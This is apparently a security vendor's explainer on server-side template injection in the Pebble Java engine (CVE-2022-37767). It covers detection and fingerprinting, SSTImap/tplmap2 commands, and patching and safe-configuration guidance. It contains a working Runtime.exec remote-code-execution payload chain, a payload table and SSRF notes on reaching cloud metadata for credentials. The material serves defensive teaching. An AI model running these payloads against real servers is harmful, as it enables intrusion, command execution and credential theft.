Server-Side Template Injection in Pebble (Java) using getClass().getClassLoader() chains to achieve arbitrary Java class instantiation.
TL;DR
{{ 7*7 }} → 49; Korchagin polyglot → io.pebbletemplates.pebble.error.ParserExceptionobject.getClass().getClassLoader().loadClass("java.lang.Runtime") chain via context objectsgetClass() (CVSS 9.8)?new() builtin — requires context object traversalPebble is a modern Java template engine inspired by Twig, used in Spring Boot, Micronaut, and Vert.x applications as an alternative to Freemarker and Thymeleaf. It uses {{ }} for expressions and {% %} for control structures, similar to Jinja2 and Twig. SSTI in Pebble occurs when user-controlled input is evaluated via PebbleEngine.getLiteralTemplate(userInput) or a StringLoader, rather than loaded from a pre-compiled filesystem template.
Unlike Freemarker, Pebble lacks a ?new() equivalent for direct class instantiation. The exploitation chain instead requires a Java object accessible in the PebbleContext and traverses getClass().getClassLoader().loadClass() to reach the JVM runtime. The depth and exploitability of the chain depends on what objects are exposed in the context: a context with HTTP request objects, Spring beans, or service references provides immediate access to the reflection chain. CVE-2022-37767 (CVSS 9.8) confirmed this exploit path was viable in Pebble versions before 3.1.5, which introduced getClass() access restrictions.
OWASP A03:2021 and CWE-1336 classify this vulnerability. Pebble SSTI is less documented in public resources than Jinja2 or Twig SSTI, but the exploitation impact is identical — JVM-based arbitrary code execution with the application server's privileges.
The vulnerable Java code pattern:
// VULNERABLE — user input is the template SOURCE
PebbleEngine engine = new PebbleEngine.Builder().build();
Writer writer = new StringWriter();
String userTemplate = request.getParameter("template");
// Renders user-controlled string as Pebble template
PebbleTemplate template = engine.getLiteralTemplate(userTemplate);
// Passing request object in context — provides getClass() entry point
Map<String, Object> context = new HashMap<>();
context.put("request", request); // HTTP request in context = exploitable!
template.evaluate(writer, context);
return writer.toString();The attacker submits:
{{ request.getClass().forName("java.lang.Runtime").getMethod("exec",request.getClass().forName("java.lang.String")).invoke(request.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null),"id") }}A more readable decomposition of the Pebble RCE chain:
// Pebble template exploiting getClass() traversal
// Step 1: Get a Class reference via any context object
{{ request.getClass() }}
// Step 2: Load Runtime via forName()
{{ request.getClass().forName("java.lang.Runtime") }}
// Step 3: Get exec() method
{{ request.getClass().forName("java.lang.Runtime").getMethod("exec", request.getClass().forName("java.lang.String")) }}
// Step 4: Get runtime instance and invoke exec
{{ request.getClass().forName("java.lang.Runtime").getMethod("exec", request.getClass().forName("java.lang.String")).invoke(request.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null), "id") }}| Variant | Payload | Requirement | Impact |
|---|---|---|---|
| Detection | {{ 7*7 }} | Any Pebble | Confirm → 49 |
| Engine fingerprint | {{ "test" }} | Pebble | String output |
| Korchagin probe | ${{<%[%'"}}%\ | Any | io.pebbletemplates.pebble.error.ParserException |
| Object traversal | {{ request.getClass() }} | request in context | Confirm Java object access |
| getClass() RCE | Full forName + invoke chain | Any Java object in context | JVM RCE |
| classLoader chain | object.getClass().getClassLoader().loadClass("Runtime") | Pre-3.1.5 | Class loading → RCE |
| SSRF | Chain with java.net.URL instantiation | Java object in context | Internal HTTP request |
| Context dump | {{ variables }} or {{ request.attributeNames }} | Context access | Variable enumeration |
Before Pebble 3.1.5, the getClass() method was accessible on all context objects. The sandbox lacked restrictions on Java reflection methods. This allowed the full getClass().getClassLoader().loadClass() chain that traverses the JVM class hierarchy.
// Pebble < 3.1.5 — getClass() chain (CVE-2022-37767)
{{ obj.getClass().getClassLoader().loadClass("java.lang.Runtime").getMethod("exec", string_class).invoke(runtime_instance, "id") }}Pebble 3.1.5 added explicit blocking of getClass() method access in the template evaluator. Updating to 3.1.5+ eliminates this attack vector.
CVE-2022-37767 — Pebble Template Engine (CVSS 9.8)
A security researcher demonstrated that Pebble Template Engine versions prior to 3.1.5 allowed sandbox escape via Java reflection from context objects. The getClass() method was accessible on any object passed into the PebbleContext, providing a path to Class.forName() and ultimately Runtime.exec(). The vulnerability was disclosed to the Pebble maintainers and fixed in version 3.1.5 with explicit attribute resolver restrictions. CVSS 9.8 reflects the critical impact of unauthenticated RCE if user-controlled templates reach a Pebble evaluation path.
Spring Boot Report Generator — Common Pebble SSTI Pattern
A pattern recurring in Spring Boot microservices: a report generator service accepts a custom template string from clients to customize output formatting. The template is evaluated via PebbleEngine.getLiteralTemplate(clientTemplate) with a context containing the applicationContext bean or HttpServletRequest. An attacker submits a getClass() chain payload and achieves RCE as the Spring application service. This pattern appears in PDF generators, notification formatters, and custom API response transformers.
Micronaut Template Rendering Endpoints
Micronaut applications using Pebble for view rendering have exposed template evaluation endpoints in development tools and admin panels. When pebbleTemplateEngine.getLiteralTemplate(userInput) is used in a debug or preview endpoint without the production filesystem loader, SSTI is directly exploitable. Micronaut's default Pebble integration uses filesystem templates (safe), but custom code using getLiteralTemplate introduces the vulnerability.
tplmap2 — Pebble Support Addition
The community fork tplmap2 (Hackmanit) added Pebble engine support specifically because Pebble's adoption in Spring Boot microservices increased its attack surface. The Pebble RCE payloads in tplmap2 use the forName chain rather than the loadClass chain from CVE-2022-37767, providing exploitation on both pre and post-3.1.5 targets when context objects provide sufficient reflection surface.
Pebble SSTI is less documented than Jinja2 or Freemarker SSTI because Pebble is a newer engine (first released 2013, gained adoption 2019+). Published exploit chains are available in SSTImap v1.3.0 and tplmap2, but Pebble-specific Nuclei templates are limited. Manual confirmation via {{ 7*7 }} and the Korchagin polyglot is recommended when automated tools don't detect Pebble specifically.
{{ 7*7 }} — response 49 confirms a {{ }} engine (Pebble, Jinja2, Twig, or Tornado).{{''.__class__}} — Jinja2 returns the class; Pebble throws an error (no __class__ attribute). This differentiates Pebble from Jinja2.{{ "hello".toUpperCase() }} — Pebble evaluates Java string methods; Jinja2 does not have toUpperCase(). Response HELLO confirms Pebble or another Java-based engine.${{<%[%'"}}%\ — Pebble returns io.pebbletemplates.pebble.error.ParserException.{{ request }} — if an HttpServletRequest object representation appears, the context exposes the request object, making the getClass() chain immediately exploitable.# SSTImap — Pebble engine (v1.3.0+)
sstimap -u "http://target.com/render?template=*" --engine Pebble
# tplmap2 — community fork with Pebble support
tplmap2.py -u "http://target.com/render?template=*" --engine pebble
# Manual fingerprinting via Korchagin polyglot
curl -s "http://target.com/render?template=%24%7B%7B%3C%25%5B%25%27%22%7D%7D%25%5C" | grep -i pebbleBreachVex detects Pebble SSTI via {{ 7*7 }} (math eval) + {{ "test".toUpperCase() }} (Java method call = Pebble/Java engine) + Korchagin polyglot fingerprinting. The getClass() chain RCE is attempted only after the engine is fingerprinted and the required context object is confirmed available.
// VULNERABLE — user input is template source
PebbleEngine engine = new PebbleEngine.Builder().build();
PebbleTemplate template = engine.getLiteralTemplate(userInput); // SSTI
template.evaluate(writer, context);
// SAFE — filesystem template loader
PebbleEngine engine = new PebbleEngine.Builder()
.loader(new FileLoader()) // loads from filesystem
.build();
PebbleTemplate template = engine.getTemplate("greet.pebble"); // from /templates/
Map<String, Object> context = new HashMap<>();
context.put("displayName", sanitizedUserInput); // user input as variable only
template.evaluate(writer, context);// DANGEROUS — expose rich Java objects (provide getClass() entry points)
Map<String, Object> context = new HashMap<>();
context.put("request", httpServletRequest); // HttpServletRequest in context
context.put("applicationContext", appContext); // Spring context in context
// SAFE — expose only primitive-typed values
Map<String, Object> context = new HashMap<>();
context.put("displayName", user.getDisplayName()); // String only
context.put("orderCount", order.getCount()); // Integer only
context.put("totalAmount", order.getFormattedTotal()); // String only
// Never expose HTTP request, Spring context, or service beans<!-- pom.xml — upgrade to 3.1.5+ which restricts getClass() -->
<dependency>
<groupId>io.pebbletemplates</groupId>
<artifactId>pebble</artifactId>
<version>3.2.2</version> <!-- 3.1.5+ required; 3.2.x preferred -->
</dependency>// Spring Boot — safe Pebble configuration
@Configuration
public class PebbleConfig {
@Bean
public PebbleEngine pebbleEngine() {
return new PebbleEngine.Builder()
.loader(new ClasspathLoader()) // load from classpath /templates/
.strictVariables(true) // error on undefined variables
.build();
// getLiteralTemplate() is never called with user input
}
// Template paths use only allowlisted names
@Bean
public ViewResolver pebbleViewResolver(PebbleEngine engine) {
PebbleViewResolver resolver = new PebbleViewResolver(engine);
resolver.setPrefix("/templates/");
resolver.setSuffix(".pebble");
return resolver;
}
}Pebble SSTI occurs when user-controlled input is rendered as a Pebble template string via PebbleEngine.getLiteralTemplate() or a StringLoader. Pebble's expression language accesses Java object methods, enabling getClass().getClassLoader().loadClass() chains that instantiate Runtime or ProcessBuilder for Remote Code Execution.
Pebble templates can call Java object methods via the dot notation. If a Java object is accessible in the template context, an attacker can traverse: object.getClass().getClassLoader().loadClass('java.lang.Runtime').getMethod('exec', String.class).invoke(Runtime.getRuntime(), 'id'). The specific chain depends on which Java objects are available in the PebbleContext.
CVE-2022-37767: Pebble Template Engine < 3.1.5 — sandbox escape via getClass() chain (CVSS 9.8). This CVE confirmed that Pebble's sandbox was bypassable via method reflection on context objects. The fix in 3.1.5 added restrictions on getClass() access.
Pebble is a modern Java template engine used in Spring Boot applications, Micronaut, Vert.x, and other JVM frameworks as an alternative to Freemarker and Thymeleaf. It is increasingly common in microservices architectures. Its SSTI attack surface is less documented than Freemarker or Velocity but the exploitation impact is identical — JVM-based RCE.
Freemarker has the ?new() builtin that directly instantiates classes by name — a simpler RCE path. Pebble lacks ?new() but allows method calls on context objects. The attacker must find a suitable entry point object in the PebbleContext and traverse getClass().getClassLoader() from it. Pebble also uses {{ }} syntax like Jinja2/Twig rather than ${}.
Submit {{ 7*7 }} — response 49 confirms a {{ }} engine. The Korchagin polyglot ${{<%['"}}%\ returns io.pebbletemplates.pebble.error.ParserException for Pebble specifically. Submit {{ '' }} or {{ true }} to probe expression evaluation. Pebble and Jinja2 both use {{ }}, but Pebble does not support Python-specific attributes like __class__ — submit {{''.__class__}} to differentiate: Jinja2 returns the class; Pebble throws an error.
PebbleContext contains the variables and objects exposed to the template. If the context includes a Java object with accessible getClass() and classloader methods, the getClass() chain becomes exploitable. A context exposing only primitive values (strings, numbers) is harder to exploit. A context exposing HTTP request objects, Spring application context, or service beans is immediately exploitable via method reflection.
Pebble has an extension-based sandbox that can restrict which methods and attributes are accessible. The CVE-2022-37767 vulnerability demonstrated that the pre-3.1.5 sandbox was bypassable via getClass() traversal. Pebble 3.1.5+ restricts getClass() access. A custom PebbleExtension can add further attribute/method restrictions.
Never pass user input to PebbleEngine.getLiteralTemplate() or a StringLoader. Use PebbleEngine.getTemplate('safe.pebble') from the filesystem. Limit PebbleContext to only the minimal required variables. Upgrade to Pebble 3.1.5+ which restricts getClass() chains. Do not expose HTTP request objects, Spring context, or service beans directly in the template context.
Yes. Via the getClass() chain, an attacker can instantiate java.net.URL and call openStream() to make HTTP requests to internal endpoints. The chain is more verbose than Velocity's ClassTool but achieves the same SSRF result. In cloud environments, this enables access to the IMDS (169.254.169.254) for credential theft.
A custom AbstractExtension implementing getAttributeResolver() can block access to getClass(), getClassLoader(), and forName() at the template evaluation layer. Pebble 3.1.5+ applies this restriction internally. For pre-3.1.5 versions, a custom security extension provides equivalent protection.